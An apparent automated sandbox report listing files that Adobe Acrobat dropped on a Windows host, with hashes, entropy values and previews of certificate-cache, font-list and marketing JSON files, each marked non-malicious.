Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklmIN/ltfllXlE/HT8klJhvNNX8RolJuRdxLlGB9lQRYwpDdt:kK/wteT8svVNMa8RdWBwRd
MD5:	4C0A7E0C1925D2F49503E0B81B4B486B
SHA1:	C63FE2240E4E5259281C0C0D49CF509183034D9A
SHA-256:	AD2839511D9C8CEC22CCBE9F54117A0941EC26138ACB153B0359739313D8F436
SHA-512:	467C356DCD92785AAF43082CEA10B58FC18C202C560782937514034176BA50BDB840034D9E107FC03539C6430BBE59B81DF1F9524EF3155123F26E459ABCEFD0
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....@...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKhoEl/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ziDImsLNkPlE99SNxAhUe/3
MD5:	E5D7B95FD799CA11C8E7BC07EF1580F3
SHA1:	EDF4628022B832DB622B8E7785E6B246AB0941ED
SHA-256:	93E9421D62A4DA632C941468AFDC944F9E516A9FF8DDCC7BD7682C2034337981
SHA-512:	5F5095AAED6517F5C90880BF7CB10791A615100A04EC37A0F15E19C013814F710C02257F83B412529D5FC91E6556BF13E32026E8421A53295C742C1F34E4CF06
Malicious:	false
Preview:	p...... .........L].c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6948

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6948

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.35735039887529
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJM3g98kUwPeUkwRe9:YvXKXjtHNPNYpW736sGMbLUkee9
MD5:	3B61CE5ABAACB197265B597D6B2B3457
SHA1:	C5C9E1E9BD1DFE2A20DB6F64695F636888B04C11
SHA-256:	D41646A61629E4AA594700E42E68B3EB16DFE240F2EA6EEB7BA3D06388351C19
SHA-512:	C36FF5CB4F28CE5BA4EAB0DAE5B0B1686D526083909469E6C7D4B28CD3BBE5413B6B37966F40CCDF683DD98EF28B85101EE195017577DE62801164C9785680EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296810975601905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfBoTfXpnrPeUkwRe9:YvXKXjtHNPNYpW736sGWTfXcUkee9
MD5:	B7418E414D1C8860DAFA39107624C15C
SHA1:	655A09C83800C147A56DEF8FCDDA53E52DE50FFD
SHA-256:	B21B22C429AFF5C81E78204062532EDACD24324AD6DC15F2AAFD425087BE5EE1
SHA-512:	9B62652C4DB86717193735F654B55140B5A91D50D3C4E4AB2A04850302E8C1B9406F9F31FED3A274DE1E3DA628A8B850C7A6C9C3170313446BFF6E35FF2ACF7F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275517189828783
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfBD2G6UpnrPeUkwRe9:YvXKXjtHNPNYpW736sGR22cUkee9
MD5:	1DE22C7A9E84A88858F61B2237358D86
SHA1:	18FD262732A48027BB5D7F8AD2CE592AB864B47B
SHA-256:	DE84CB86028C71703285E8E229AA08C51FAF74924D1F26FEEEA6D514D4B60875
SHA-512:	FA92115C262D2969442BE4511428641719823B9987C31DE6115920E0EE668C748901DB6A704E17E0BD99E065368ACC9F9DAF6BEA1CDAD80C058F8D1356631006
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33603229451372
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfPmwrPeUkwRe9:YvXKXjtHNPNYpW736sGH56Ukee9
MD5:	221B20412701E3A42036F493D7D9A8AF
SHA1:	CA3D5F0C730FCEFA64CD15BC1F6FF5028D0215DD
SHA-256:	DF38D4E20341342A9910585A9C4A0E0BABAE981B18DC8FE9867364450281DB6B
SHA-512:	13AFD3A12AAFB409878028D38B33156B0FF7FBB18747AF0977CEB5981904AD025AD0924651ECDF0F41AFE4C5B86C5DBB5733F7EC2A25C861DD15F6080C36705D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686899705905653
Encrypted:	false
SSDEEP:	24:Yv6X/Gi3ipLgE9cQx8LennAvzBvkn0RCmK8czOCCSMY:YvSShgy6SAFv5Ah8cv/MY
MD5:	C47FF822AC8DDD3456627FD80B75CB20
SHA1:	4E560BDA99FA40029D699AD71671192BC9510441
SHA-256:	2AC8C6A384C8BEE3B1764F514E83C37B8393445D8C7A79A6E31C3521F5758C8C
SHA-512:	D38901D8C73D6D53DC44656FDD5B9D215CD970DCE3908BEF0EEAF4FA02CD3BC90668E11286EF2C4F4F7311A4BDB6E588BABE26114BF419D95FE76376AF34E60C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280602402499693
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJf8dPeUkwRe9:YvXKXjtHNPNYpW736sGU8Ukee9
MD5:	0A10384AEFF89DAD7A9F194966C5A62F
SHA1:	971BDCE838F65428012D06B9A192B0DF8B03615B
SHA-256:	263DFD9B5895C88A084BF23FA000C5D2F11CF7E1C1234E47A7AE92D8550BEF38
SHA-512:	98E7999F691AE0DDF62907DA2B4A8C69B1369C475C45603AE7A72CC8070B3AFF3E2D708A42C09351C08A84E240F6FACDD9DB5E0C135CB32DE7F4BB3B35DA5C05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.282065891698267
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfQ1rPeUkwRe9:YvXKXjtHNPNYpW736sGY16Ukee9
MD5:	4062043F079479405CBDB16505CF3F0A
SHA1:	247582F09ADC4290D58A758C7497AD6311BC3FB2
SHA-256:	51C7551FD1369DCA03238CD9A89A3F58F5B4C729C54473E5DE25DB5B731DA7BD
SHA-512:	D7F83C6AE0589B57276FF6B61152FB3646AB9D399104B2A4AA4B563580E1E9EA3A41BA20DFB2BEA7831E4494691BF0C118A33AF5ECEDBD4D19E61D105DCE9524
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299783524523448
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfFldPeUkwRe9:YvXKXjtHNPNYpW736sGz8Ukee9
MD5:	7C79B90FDF77B00B66879BCAF08EED89
SHA1:	45124FCC1940AA50864E983E979470912A8EA666
SHA-256:	D123FBB42DACC653F770FE1581F2BE99A308AF1879936C24D63DF40BE4385D87
SHA-512:	84B2D79CDDEF0128365E6281245D09AB5D4AF4CC9F1B4355FC5ADCE2154B145CDF36EAF522DFBCFA7CD340ECED3075EAFDBAE54695185C71B4CCF9FADA98B163
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307961338890243
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfzdPeUkwRe9:YvXKXjtHNPNYpW736sGb8Ukee9
MD5:	152A12F4947369FE05F86D326D8AEA2E
SHA1:	3B1777FBBC58BDC737431087F3670101B5833623
SHA-256:	2EEA6257C41CFBC5BCF5987BCDDDB5A503FE7289BA14005A5DF3E00B0AA0C273
SHA-512:	03066BB7A8DBA5669E2600E2A04D81E255343878276F6E76C7661395DB7F94BD96BDC90A4F0D299B6383BF0AEBC3F50ADA251F7DC55A551EBD92609082985DD0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2883683560854875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfYdPeUkwRe9:YvXKXjtHNPNYpW736sGg8Ukee9
MD5:	7732D750AD9D66ED197A99B5206AA249
SHA1:	99D45E9B8651F91EF1CFD9E97D94FE25E3745E44
SHA-256:	5FA7D186F8A59F03B6153F08C01E778615475ABF5373D04A56027AC94309F2EB
SHA-512:	9DAEC5982D8F811D00FFC875A7708D1F1CF3A5017E921FE1C934E35642255E95FB952D15928743E6137D170D8AD58F97105A815B89454432EBD59A4F656B9B25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.274213946445077
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJf+dPeUkwRe9:YvXKXjtHNPNYpW736sG28Ukee9
MD5:	4A493F69EBD50BEEC4EEF10BD41E49EF
SHA1:	9CF40347A9315971ECEC61CAD6CE3F31CB36D38A
SHA-256:	4659994A6F4A5D2434D91295FCBE8DF5B34BADFB16EE01EF40B6326162D86E93
SHA-512:	E3C129AE99FD90214C4347011F7695B5A7E543586BFDE380EFABBDB415C66A9533E28F9DBB554FD24C7509D3260E2E0FF2D3C6E965536A669876543B7F8222A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"37fd2a65-b119-44b2-88de-b824cab6d6f1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719394462,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.271995396329209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXC0JtHNPzY+FIbRI6XVW7+0Yg6DoAvJfbPtdPeUkwRe9:YvXKXjtHNPNYpW736sGDV8Ukee9
